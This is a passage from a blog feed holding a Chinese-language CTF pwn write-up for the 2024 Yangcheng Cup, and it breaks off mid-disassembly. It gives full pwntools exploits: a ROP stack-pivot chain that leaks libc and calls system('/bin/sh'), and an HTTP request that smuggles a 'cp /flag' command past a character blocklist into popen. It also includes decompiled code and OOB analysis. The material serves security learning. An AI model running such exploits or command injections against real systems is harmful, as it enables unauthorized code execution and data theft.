</content:encoded></item><item><title>Write-ups: 2024「羊城杯」粤港澳大湾区网络安全大赛</title><link>https://cubeyond.net/posts/write-ups/2024-%E7%BE%8A%E5%9F%8E%E6%9D%AF/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/2024-%E7%BE%8A%E5%9F%8E%E6%9D%AF/</guid><description>2024「羊城杯」粤港澳大湾区网络安全大赛 Pwn 方向复现。</description><pubDate>Mon, 22 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;先挑几个简单的复现一下，因为堆都没怎么学过，就先不复现了，等以后学明白了再去研究。&lt;/p&gt;
&lt;h1&gt;pstack&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: Unknown&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;Unknown&lt;/p&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;看上去就是签到题，0x10 字节栈溢出，而且给了 rdi gadget，那还不简单？&lt;/p&gt;
&lt;p&gt;~回想起我最近打的比赛，签到也基本都是栈迁移，可是没一个是有 rdi gadget 的……~&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
    u64,
)


FILE = &quot;./pwn_patched&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = ELF(&quot;./libc.so.6&quot;)
rop = ROP(elf)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    read = 0x4006C4
    payload = flat(
        b&quot;A&quot; * 0x30,
        elf.bss() + 0x500,
        read,
        rop.rdi.address,
        elf.got[&quot;puts&quot;],
        elf.plt[&quot;puts&quot;],
        elf.sym[&quot;vuln&quot;],
        b&quot;B&quot; * 0x10,
        0x6014D8,
        rop.leave.address,
    )
    # raw_input(&quot;DEBUG&quot;)
    target.send(payload)
    target.recvuntil(b&quot;overflow?\x0a&quot;)
    puts = u64(target.recvline().strip().ljust(0x8, b&quot;\x00&quot;))
    libc.address = puts - libc.sym[&quot;puts&quot;]
    target.success(hex(libc.address))

    payload = flat(
        b&quot;C&quot; * 0x30,
        elf.bss() + 0xF00,
        read,
        rop.rdi.address,
        next(libc.search(b&quot;/bin/sh\x00&quot;)),
        libc.sym[&quot;system&quot;],
        b&quot;D&quot; * 0x18,
        0x601ED8,
        rop.leave.address,
    )
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;httpd&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: Unknown&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;Unknown&lt;/p&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;粗略逆向分析了一下，直接全贴上来好了，反正基本就一个 main 函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int fd_1; // eax
  int fd_2; // eax
  int result; // eax
  int fd2; // eax
  int fd2_1; // eax
  struct tm *tp; // eax
  time_t tv_sec; // edi
  __off_t st_size; // esi
  const char *text_html; // eax
  struct dirent **namelist; // [esp+8h] [ebp-14134h] BYREF
  char s1_2[4]; // [esp+Ch] [ebp-14130h] BYREF
  char p_n47_1[4]; // [esp+10h] [ebp-1412Ch] BYREF
  char s1_3[4]; // [esp+14h] [ebp-14128h] BYREF
  int v16; // [esp+18h] [ebp-14124h] BYREF
  char v17; // [esp+1Ch] [ebp-14120h] BYREF
  char *haystack; // [esp+20h] [ebp-1411Ch]
  int i; // [esp+24h] [ebp-14118h]
  size_t v20; // [esp+28h] [ebp-14114h]
  char *v21; // [esp+2Ch] [ebp-14110h]
  char *v22; // [esp+30h] [ebp-1410Ch]
  int fd; // [esp+34h] [ebp-14108h]
  int fd_3; // [esp+38h] [ebp-14104h]
  FILE *stream; // [esp+3Ch] [ebp-14100h]
  int i_1; // [esp+40h] [ebp-140FCh]
  FILE *stream_1; // [esp+44h] [ebp-140F8h]
  int c; // [esp+48h] [ebp-140F4h]
  struct stat buf; // [esp+4Ch] [ebp-140F0h] BYREF
  char modes[2]; // [esp+A6h] [ebp-14096h] BYREF
  char s_3[16]; // [esp+A8h] [ebp-14094h] BYREF
  char s_2[116]; // [esp+B8h] [ebp-14084h] BYREF
  char v33[1908]; // [esp+12Ch] [ebp-14010h] BYREF
  char request[10000]; // [esp+8A0h] [ebp-1389Ch] BYREF
  char method[10000]; // [esp+2FB0h] [ebp-1118Ch] BYREF
  char path[10000]; // [esp+56C0h] [ebp-EA7Ch] BYREF
  char version[10000]; // [esp+7DD0h] [ebp-C36Ch] BYREF
  char file[20000]; // [esp+A4E0h] [ebp-9C5Ch] BYREF
  char s_1[15588]; // [esp+F300h] [ebp-4E3Ch] BYREF
  __int64 v40; // [esp+12FE4h] [ebp-1158h]
  char *v41; // [esp+12FECh] [ebp-1150h]
  int v42; // [esp+1312Ch] [ebp-1010h] BYREF
  unsigned int v43; // [esp+14120h] [ebp-1Ch]
  int *p_argc; // [esp+1412Ch] [ebp-10h]

  p_argc = &amp;amp;argc;
  while ( &amp;amp;v42 != (int *)v33 )
    ;
  v43 = __readgsdword(0x14u);
  memset(&amp;amp;v33[884], 0, 1024);
  v20 = 0;
  strcpy(modes, &quot;r&quot;);
  if ( chdir(&quot;/home/ctf/html&quot;) &amp;lt; 0 )
    response((status *)&amp;amp;elf_gnu_hash_bitmask_nwords, (int)&quot;Internal Error&quot;, 0, &quot;Config error - couldn&apos;t chdir().&quot;);
  if ( !fgets(request, 10000, stdin) )
    response(&amp;amp;status_, (int)&quot;Bad Request&quot;, 0, &quot;No request found.&quot;);
  if ( __isoc99_sscanf(request, &quot;%[^ ] %[^ ] %[^ ]&quot;, method, path, version) != 3 )
    response(&amp;amp;status_, (int)&quot;Bad Request&quot;, 0, &quot;Can&apos;t parse request.&quot;);
  if ( !fgets(request, 10000, stdin) )
    response(&amp;amp;status_, (int)&quot;Bad Request&quot;, 0, &quot;Missing Host.&quot;);
  v21 = strstr(request, &quot;Host: &quot;);
  if ( !v21 )
    response(&amp;amp;status_, (int)&quot;Bad Request&quot;, 0, &quot;Missing Host.&quot;);
  v22 = strstr(v21 + 6, &quot;\r\n&quot;);
  if ( v22 )
  {
    *v22 = 0;
  }
  else
  {
    v22 = strchr(v21 + 6, (int)&quot;\n&quot;);
    if ( v22 )
      *v22 = 0;
  }
  if ( strlen(v21 + 6) &amp;lt;= 7 )
    response(&amp;amp;status_, (int)&quot;Bad Request&quot;, 0, &quot;Host len error.&quot;);
  if ( v21 == (char *)-6 || !v21[6] )
    response(&amp;amp;status_, (int)&quot;Bad Request&quot;, 0, &quot;Host fmt error.&quot;);
  v41 = &amp;amp;v17;
  HIDWORD(v40) = &amp;amp;v16;
  __isoc99_sscanf(v21 + 6, &quot;%d.%d.%d.%d%c&quot;, s1_2, p_n47_1, s1_3);
  if ( !fgets(request, 10000, stdin) )
    response(&amp;amp;status_, (int)&quot;Bad Request&quot;, 0, &quot;Missing Content-Length.&quot;);
  v21 = strstr(request, &quot;Content-Length: &quot;);
  if ( !v21 )
    response(&amp;amp;status_, (int)&quot;Bad Request&quot;, 0, &quot;Missing Content-Length.&quot;);
  v22 = strstr(v21 + 16, &quot;\r\n&quot;);
  if ( v22 )
  {
    *v22 = 0;
  }
  else
  {
    v22 = strchr(v21 + 16, (int)&quot;\n&quot;);
    if ( v22 )
      *v22 = 0;
  }
  if ( strlen(v21 + 16) &amp;gt; 5 )
    response(&amp;amp;status_, (int)&quot;Bad Request&quot;, 0, &quot;Content-Length len too long.&quot;);
  if ( strcasecmp(method, &quot;get&quot;) )
    response(
      (status *)((char *)&amp;amp;elf_gnu_hash_bitmask_nwords + 1),
      (int)&quot;Not Implemented&quot;,
      0,
      &quot;That method is not implemented.&quot;);
  if ( strncmp(version, &quot;HTTP/1.0&quot;, 8u) )
    response(&amp;amp;status_, (int)&quot;Bad Request&quot;, 0, &quot;Bad protocol.&quot;);
  if ( path[0] != &apos;/&apos; )
    response(&amp;amp;status_, (int)&quot;Bad Request&quot;, 0, &quot;Bad filename.&quot;);
  haystack = &amp;amp;path[1];
  sub_25DE(&amp;amp;path[1], &amp;amp;path[1]);
  if ( !*haystack )
    haystack = &quot;./&quot;;
  v20 = strlen(haystack);
  if ( *haystack == &apos;/&apos;
    || !strcmp(haystack, &quot;..&quot;)
    || !strncmp(haystack, &quot;../&quot;, 3u)
    || strstr(haystack, &quot;/../&quot;)
    || !strcmp(&amp;amp;haystack[v20 - 3], &quot;/..&quot;) )
  {
    response(&amp;amp;status_, (int)&quot;Bad Request&quot;, 0, &quot;Illegal filename.&quot;);
  }
  if ( !check(haystack) )
    response((status *)&amp;amp;status_.state, (int)&quot;Not Found&quot;, 0, &quot;Invalid file name.&quot;);
  fd_1 = fileno(stdout);
  fd = dup(fd_1);
  fd_2 = fileno(stderr);
  fd_3 = dup(fd_2);
  freopen(&quot;/dev/null&quot;, &quot;w&quot;, stdout);
  freopen(&quot;/dev/null&quot;, &quot;w&quot;, stderr);
  stream = popen(haystack, modes);
  if ( stream )
  {
    pclose(stream);
    fd2 = fileno(stdout);
    dup2(fd, fd2);
    fd2_1 = fileno(stderr);
    dup2(fd_3, fd2_1);
    close(fd);
    close(fd_3);
    if ( stat(haystack, &amp;amp;buf) &amp;lt; 0 )
      response((status *)&amp;amp;status_.state, (int)&quot;Not Found&quot;, 0, &quot;File not found.&quot;);
    if ( (buf.st_mode &amp;amp; 0xF000) == 0x4000 )
    {
      if ( haystack[v20 - 1] != &apos;/&apos; )
      {
        snprintf(s_1, 0x4E20u, &quot;Location: %s/&quot;, path);
        response((status *)((char *)&amp;amp;dword_12C + 2), (int)&quot;Found&quot;, (int)s_1, &quot;Directories must end with a slash.&quot;);
      }
      snprintf(file, 0x4E20u, &quot;%sindex.html&quot;, haystack);
      if ( stat(file, &amp;amp;buf) &amp;lt; 0 )
      {
        sub_23D9(&amp;amp;status__0, &quot;Ok&quot;, 0, (int)&quot;text/html&quot;, -1, buf.st_mtim.tv_sec);
        i_1 = scandir(haystack, &amp;amp;namelist, 0, (int (*)(const void *, const void *))&amp;amp;alphasort);
        if ( i_1 &amp;gt;= 0 )
        {
          for ( i = 0; i &amp;lt; i_1; ++i )
          {
            sub_2704(s_2, 0x3E8u, (unsigned __int8 *)namelist[i]-&amp;gt;d_name);
            snprintf(file, 0x4E20u, &quot;%s/%s&quot;, haystack, namelist[i]-&amp;gt;d_name);
            if ( lstat(file, &amp;amp;buf) &amp;gt;= 0 )
            {
              tp = localtime(&amp;amp;buf.st_mtim.tv_sec);
              strftime(s_3, 0x10u, &quot;%d%b%Y %H:%M&quot;, tp);
              printf(&quot;&amp;lt;a href=\&quot;%s\&quot;&amp;gt;%-32.32s&amp;lt;/a&amp;gt;%15s %14lld\n&quot;, s_2, namelist[i]-&amp;gt;d_name, s_3, (__int64)buf.st_size);
              sub_20C6(file);
            }
            else
            {
              printf(&quot;&amp;lt;a href=\&quot;%s\&quot;&amp;gt;%-32.32s&amp;lt;/a&amp;gt;    ???\n&quot;, s_2, namelist[i]-&amp;gt;d_name);
            }
            printf(
              &quot;&amp;lt;/pre&amp;gt;\n&amp;lt;hr&amp;gt;\n&amp;lt;address&amp;gt;&amp;lt;a href=\&quot;%s\&quot;&amp;gt;%s&amp;lt;/a&amp;gt;&amp;lt;/address&amp;gt;\n&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;\n&quot;,
              &quot;https://2024ycb.dasctf.com/&quot;,
              &quot;YCB2024&quot;);
          }
        }
        else
        {
          perror(&quot;scandir&quot;);
        }
        goto LABEL_74;
      }
      haystack = file;
    }
    stream_1 = fopen(haystack, &quot;r&quot;);
    if ( !stream_1 )
      response((status *)((char *)&amp;amp;status_.mon_name + 3), (int)&quot;Forbidden&quot;, 0, &quot;File is protected.&quot;);
    tv_sec = buf.st_mtim.tv_sec;
    st_size = buf.st_size;
    text_html = sub_2566(haystack);
    sub_23D9(&amp;amp;status__0, &quot;Ok&quot;, 0, (int)text_html, st_size, tv_sec);
    while ( 1 )
    {
      c = getc(stream_1);
      if ( c == -1 )
        break;
      putchar(c);
    }
LABEL_74:
    fflush(stdout);
    exit(0);
  }
  result = -1;
  if ( v43 != __readgsdword(0x14u) )
    sub_2A70();
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先它得确保运行在 &lt;code&gt;/home/ctf/html&lt;/code&gt;，所以我们先要创建这个目录，并且取保自己有访问权限。之后程序读取请求，通过 &lt;code&gt;__isoc99_sscanf(request, &quot;%[^ ] %[^ ] %[^ ]&quot;, method, path, version) != 3&lt;/code&gt; 将我们的请求以空格分成了 &lt;code&gt;&amp;lt;method&amp;gt; &amp;lt;path&amp;gt; &amp;lt;version&amp;gt;&lt;/code&gt; 三部分，缺一不可。然后读取请求主机，必须是 &lt;code&gt;Host:&lt;/code&gt; 开头，后面的 IP 也有指定格式，不符合的话就会 abort 。然后读取 &lt;code&gt;Content-Length&lt;/code&gt;，也是类似的逻辑，没啥好说的。~吐槽一下这个实现真的是非常地 tiny 啊，Content-Length 居然是通过字符串长度来判断的，而非大小。~&lt;/p&gt;
&lt;p&gt;之后会判断请求类型，我们发现它只实现了 &lt;code&gt;GET&lt;/code&gt; 类型，协议版本只有 &lt;code&gt;HTTP/1.0&lt;/code&gt;，路径必须以 &lt;code&gt;/&lt;/code&gt; 开始。&lt;/p&gt;
&lt;p&gt;然后是有几个路径检测，过滤掉了一些非法访问，并且做了一个简单的字符检测，过滤掉了一些非法字符：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_BOOL4 __cdecl check(char *haystack)
{
  _BOOL4 result; // eax
  char needle[3]; // [esp+15h] [ebp-13h] BYREF
  char bin[4]; // [esp+18h] [ebp-10h] BYREF
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  strcpy(needle, &quot;sh&quot;);
  strcpy(bin, &quot;bin&quot;);
  if ( strchr(haystack, &apos;&amp;amp;&apos;) )
  {
    result = 0;
  }
  else if ( strchr(haystack, &apos;|&apos;) )
  {
    result = 0;
  }
  else if ( strchr(haystack, &apos;;&apos;) )
  {
    result = 0;
  }
  else if ( strchr(haystack, &apos;$&apos;) )
  {
    result = 0;
  }
  else if ( strchr(haystack, &apos;{&apos;) )
  {
    result = 0;
  }
  else if ( strchr(haystack, &apos;}&apos;) )
  {
    result = 0;
  }
  else if ( strchr(haystack, &apos;`&apos;) )
  {
    result = 0;
  }
  else if ( strstr(haystack, needle) )
  {
    result = 0;
  }
  else
  {
    result = strstr(haystack, bin) == 0;
  }
  if ( v4 != __readgsdword(0x14u) )
    sub_2A70();
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果这些检测都没问题，就把 stdout 和 stderr 重定向到了 &lt;code&gt;/dev/null&lt;/code&gt;，相当于关闭了这两个输出。虽然不理解为什么要这么做，但是结合后面的代码，思考了一下感觉可能是为了隐藏 popen 的输出？总之做完后的评价就是：迷惑行为。&lt;/p&gt;
&lt;p&gt;然后是利用点，我们看到 &lt;code&gt;stream = popen(haystack, modes)&lt;/code&gt;，简单来说就是 &lt;a href=&quot;https://pubs.opengroup.org/onlinepubs/9699919799/functions/popen.html&quot;&gt;popen&lt;/a&gt; 会将 &lt;code&gt;haystack&lt;/code&gt; 作为 shell 指令，创建一个子进程去执行它。那不就是任意代码执行吗？不过 check 函数已经过滤了 &lt;code&gt;/bin/sh&lt;/code&gt;，我们不能直接返回 shell，只能用规则内的字符去构造指令。&lt;/p&gt;
&lt;p&gt;继续往下看，整个 &lt;code&gt;if ( stream )&lt;/code&gt; 里面的代码除了恢复了 stdout 和 stderr 外，基本上都没啥用。无非就是判断文件是否存在，逐一列出目录下的文件之类的……属于是一大坨障眼法。虽然现在说的轻松，但是实际上做题的时候可没这么想，做的时候老仔细了，所以也老容易掉到坑里哈哈哈。问题不大，如何快速定位漏洞，快速逆向分析一个程序的经验不就是这样慢慢积累起来的吗？做完题总会有不少感触，而这些感触慢慢地就会变成你的实力。&lt;/p&gt;
&lt;p&gt;有一个很重要的点是，在 popen 之前，&lt;code&gt;haystack = &amp;amp;path[1]&lt;/code&gt;，跳过了第一个字符 &lt;code&gt;/&lt;/code&gt;，直接从第二个字符开始，所以我们完全不用担心指令以 &lt;code&gt;/&lt;/code&gt; 开头导致什么都做不了。&lt;/p&gt;
&lt;p&gt;没完呢，继续往下看，我们发现，如果进入了 &lt;code&gt;stat(haystack, &amp;amp;buf) &amp;lt; 0&lt;/code&gt; 的话，那后面的 &lt;code&gt;(buf.st_mode &amp;amp; 0xF000) == 0x4000&lt;/code&gt; 肯定就进不去了，直接跳到末尾，执行 &lt;code&gt;stream_1 = fopen(haystack, &quot;r&quot;)&lt;/code&gt;，输出打开的文件的信息，并且进入 while 循环逐字节输出文件内容。&lt;/p&gt;
&lt;p&gt;至此，整个程序的逻辑就已经摸的差不多了。因为我们可以直接读取文件内容，那为何不直接将 flag 复制到当前目录下，然后再发送读取的请求，让它输出 flag 呢？&lt;/p&gt;
&lt;p&gt;唯一值得注意的是，我们使用 &lt;code&gt;cp&lt;/code&gt; 指令将 flag 复制过来，指令之中必定会包含空格。由于这个程序是按标准的 HTTP 协议实现的 tiny server，我们直接查一下空格在 URL 中的转义字符，知道是 &lt;code&gt;%20&lt;/code&gt;，如果是实现了自定义协议，那我们就得深入逆向它的子函数了……想想都觉得麻烦……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    remote,
)


FILE = &quot;./httpd&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b&quot;GET /cp%20/flag%20. HTTP/1.0\n&quot;,
        b&quot;Host: 127.0.0.1\n&quot;,
        b&quot;Content-Length: 0\n&quot;,
    )
    target.send(payload)
    target.recvall()
    target.close()

    launch()
    payload = flat(
        b&quot;GET /flag HTTP/1.0\n&quot;,
        b&quot;Host: 127.0.0.1\n&quot;,
        b&quot;Content-Length: 0\n&quot;,
    )
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;logger&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: Unknown&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;Unknown&lt;/p&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;先看下面的 trace 功能：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 trace()
{
  int i; // [rsp+Ch] [rbp-24h]
  int j; // [rsp+Ch] [rbp-24h]
  int n8; // [rsp+10h] [rbp-20h]
  __int16 choice; // [rsp+26h] [rbp-Ah] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf(&quot;\nYou can record log details here: &quot;);
  fflush(stdout);
  for ( i = 0; i &amp;lt;= 8 &amp;amp;&amp;amp; byte_404020[16 * i]; ++i )
    ;
  if ( i &amp;lt;= 8 )
  {
    byte_404020[16 * i + read(0, &amp;amp;byte_404020[16 * i], 0x10u)] = 0;
    printf(&quot;Do you need to check the records? &quot;);
    fflush(stdout);
    choice = 0;
    __isoc99_scanf(&quot;%1s&quot;, &amp;amp;choice);
    if ( (_BYTE)choice == &apos;y&apos; || (_BYTE)choice == &apos;Y&apos; )
    {
      n8 = 8;
      for ( j = 0; j &amp;lt;= 8 &amp;amp;&amp;amp; byte_404020[16 * j] &amp;amp;&amp;amp; n8; ++j )
      {
        printf(&quot;\x1B[31mRecord%d. %.16s\x1B[0m&quot;, j + 1, &amp;amp;byte_404020[16 * j]);
        --n8;
      }
    }
    else if ( (_BYTE)choice != &apos;n&apos; &amp;amp;&amp;amp; (_BYTE)choice != &apos;N&apos; )
    {
      puts(&quot;Invalid input. Please enter &apos;y&apos; or &apos;n&apos;.&quot;);
      exit(0);
    }
  }
  else
  {
    puts(&quot;Records have been filled :(&quot;);
  }
  return v5 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;12 行的 for 循环用来计算索引，按 16 字节访问 &lt;code&gt;byte_404020&lt;/code&gt;，只要 &lt;code&gt;i &amp;lt;= 8 &amp;amp;&amp;amp; byte_404020[16 * i]&lt;/code&gt; 就增加 &lt;code&gt;i&lt;/code&gt; 的值。感觉 &lt;code&gt;i &amp;lt;= 8&lt;/code&gt; 有点奇怪，不管如何，先计算一下这个函数可以返回多大的索引呢？应该是 9。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.data:0000000000404020 ; char byte_404020[128]
.data:0000000000404020 byte_404020     db 0, 0Ah, 7Eh dup(0)   ; DATA XREF: trace+58↑o
.data:0000000000404020                                         ; trace+9F↑o ...
.data:00000000004040A0 ; char src[]
.data:00000000004040A0 src             db &apos;Buffer Overflow&apos;,0  ; DATA XREF: warn+F0↑o
.data:00000000004040A0                                         ; warn+165↑o
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可是查看 &lt;code&gt;byte_404020&lt;/code&gt; 发现，人家按 16 字节访问的话最多只能访问 8 个元素，那我们访问第九个元素就会得到 &lt;code&gt;src&lt;/code&gt; 的内容。存在一个 OOB。&lt;/p&gt;
&lt;p&gt;如果 &lt;code&gt;i &amp;lt;= 8&lt;/code&gt; 的话，进入 if，紧接着 &lt;code&gt;byte_404020[16 * i + read(0, &amp;amp;byte_404020[16 * i], 0x10u)] = 0&lt;/code&gt; 以前面得到的索引乘以十六加上基地址，定位到下一项，加上 read 读取到的字节数，并将那个位置的值置零，相当于就是手动设置 NULL 的一体版本。与此同时，read 写入的是下一项。&lt;/p&gt;
&lt;p&gt;我们可以先研究研究怎么控制 src 的内容。已知前八项应该是可以合法写入的，那我们先写 8 项，然后如何写入第九项呢？虽然我是调试出来的，但是也可以直接分析代码。由于计算索引使用的条件是 &lt;code&gt;i &amp;lt;= 8 &amp;amp;&amp;amp; byte_404020[16 * i]&lt;/code&gt;，然后才会增加索引值。注意到后半部分，判断 &lt;code&gt;byte_404020[16 * i]&lt;/code&gt; 处的单个字节是否不为 0，如果这个字节为 0 的话，这个判断就会失败，索引值不会被增加。&lt;/p&gt;
&lt;p&gt;如果第八项数据我们写满 16 字节，那它就会把第九项数据处的第一个字节设置为 NULL，那么此时我们再次使用 trace 输入第九项数据，它会先依次遍历每一个已写入的元素，得到索引 7，然后发现 &lt;code&gt;byte_404020[16 * i]&lt;/code&gt; 为 0，故将索引加一变成 8。此时我们就控制了第九项的值。&lt;/p&gt;
&lt;p&gt;~&lt;em&gt;天，为啥写个 OOB 分析写那么详细……好像很多佬的博客都写的很简略的……我可真是大好人啊（bushi&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;嗯……那么第一部分分析就到此结束了。然后看 warn 功能：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 warn()
{
  unsigned __int64 len; // rax
  _QWORD *exception; // rax
  __int64 v3; // [rsp+8h] [rbp-78h]
  char buf[16]; // [rsp+10h] [rbp-70h] BYREF
  char date[8]; // [rsp+20h] [rbp-60h] BYREF
  __int64 v6; // [rsp+28h] [rbp-58h]
  __int64 v7; // [rsp+30h] [rbp-50h]
  __int64 v8; // [rsp+38h] [rbp-48h]
  char date_1[8]; // [rsp+40h] [rbp-40h] BYREF
  __int64 v10; // [rsp+48h] [rbp-38h]
  __int64 v11; // [rsp+50h] [rbp-30h]
  __int64 v12; // [rsp+58h] [rbp-28h]
  unsigned __int64 v13; // [rsp+68h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  memset_w(buf);
  *(_QWORD *)date = 0;
  v6 = 0;
  v7 = 0;
  v8 = 0;
  set_time(date, 0x20u);
  printf(&quot;\n\x1B[1;31m%s\x1B[0m\n&quot;, date);
  printf(&quot;[!] Type your message here plz: &quot;);
  fflush(stdout);
  len = read(0, buf, 256u);                     // buffer overflow
  HIBYTE(v3) = HIBYTE(len);
  buf[len - 1] = 0;
  if ( len &amp;gt; 0x10 )
  {
    memcpy(dest_0, buf, sizeof(dest_0));
    strcpy(dest, src);                          // &quot;Buffer Overflow&quot;
    strcpy(&amp;amp;dest[strlen(dest)], &quot;: &quot;);
    strncat(dest, dest_0, 0x100u);
    puts(dest);
    exception = __cxa_allocate_exception(8u);
    *exception = src;                           // &quot;Buffer Overflow&quot;
    __cxa_throw(exception, (struct type_info *)&amp;amp;`typeinfo for&apos;char *, 0);
  }
  memcpy(dest_1, buf, sizeof(dest_1));
  *(_QWORD *)date_1 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  set_time(date_1, 0x20u);
  printf(&quot;[User input log]\nMessage: %s\nDone at %s\n&quot;, dest_1, date_1);
  sub_401CCA(buf);
  return v13 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到这里将读取 256 字节数据，然后根据 read 的返回值是否大于 16 判断是否发生了溢出。忽略中间代码，直接看异常处理部分。根据前面的分析，我们知道 src 保存的就是第九项的数据，而这一项我们已经可以控制为任意值。如果 warn 检测到 BOF，就会 &lt;code&gt;throw src&lt;/code&gt;，类型为 &lt;code&gt;char const*&lt;/code&gt;。但是我们注意到 IDA 对 &lt;code&gt;try catch&lt;/code&gt; 的反编译支持好像有些问题，我们看不到 try，可看不到 catch，只能看到它抛出异常。因此这里我们需要切换到汇编视图去查看 catch 的逻辑。&lt;/p&gt;
&lt;p&gt;其实发现反汇编试图是可以看见 try catch 的，由于程序有好几处 try catch 逻辑，下面我只贴出需要重点关注的地方：&lt;/p&gt;
&lt;p&gt;~&lt;em&gt;虽然感觉 IDA 的 graph view 很帅，但还是让我们看 text view 吧（&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.175r55ijrf.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:0000000000401B8F     ; =============== S U B R O U T I N E =======================================
.text:0000000000401B8F
.text:0000000000401B8F     ; Attributes: bp-based frame
.text:0000000000401B8F
.text:0000000000401B8F     ; void __noreturn sub_401B8F()
.text:0000000000401B8F     sub_401B8F      proc near
.text:0000000000401B8F
.text:0000000000401B8F     command         = qword ptr -18h
.text:0000000000401B8F     var_8           = qword ptr -8
.text:0000000000401B8F
.text:0000000000401B8F     ; __unwind { // __gxx_personality_v0
.text:0000000000401B8F 000                 endbr64
.text:0000000000401B93 000                 push    rbp
.text:0000000000401B94 008                 mov     rbp, rsp
.text:0000000000401B97 008                 push    rbx
.text:0000000000401B98 010                 sub     rsp, 18h
.text:0000000000401B9C 028                 mov     edi, 8          ; thrown_size
.text:0000000000401BA1 028                 call    ___cxa_allocate_exception
.text:0000000000401BA6 028                 lea     rdx, aEchoHelloYcbCt ; &quot;echo Hello, YCB ctfer!&quot;
.text:0000000000401BAD 028                 mov     [rax], rdx
.text:0000000000401BB0 028                 mov     edx, 0          ; void (*)(void *)
.text:0000000000401BB5 028                 mov     rcx, cs:_ZTIPKc_ptr
.text:0000000000401BBC 028                 mov     rsi, rcx        ; lptinfo
.text:0000000000401BBF 028                 mov     rdi, rax        ; exception
.text:0000000000401BC2     ;   try {
.text:0000000000401BC2 028                 call    ___cxa_throw
.text:0000000000401BC2     ;   } // starts at 401BC2
.text:0000000000401BC7     ; ---------------------------------------------------------------------------
.text:0000000000401BC7     ;   catch(char const*) // owned by 401BC2
.text:0000000000401BC7 028                 endbr64
.text:0000000000401BCB 028                 cmp     rdx, 1
.text:0000000000401BCF 028                 jz      short loc_401BD9
.text:0000000000401BD1 028                 mov     rdi, rax        ; struct _Unwind_Exception *
.text:0000000000401BD4 028                 call    __Unwind_Resume
.text:0000000000401BD9     ; ---------------------------------------------------------------------------
.text:0000000000401BD9
.text:0000000000401BD9     loc_401BD9:                             ; CODE XREF: sub_401B8F+40↑j
.text:0000000000401BD9 028                 mov     rdi, rax        ; void *
.text:0000000000401BDC 028                 call    ___cxa_begin_catch
.text:0000000000401BE1 028                 mov     [rbp+command], rax
.text:0000000000401BE5 028                 mov     rax, [rbp+command]
.text:0000000000401BE9 028                 mov     rsi, rax
.text:0000000000401BEC 028                 lea     rax, aAnExceptionOfT_1 ; &quot;[-] An exception of type String was cau&quot;...
.text:0000000000401BF3 028                 mov     rdi, rax        ; format
.text:0000000000401BF6 028                 mov     eax, 0
.text:0000000000401BFB     ;   try {
.text:0000000000401BFB 028                 call    _printf
.text:0000000000401C00 028                 mov     rax, [rbp+command]
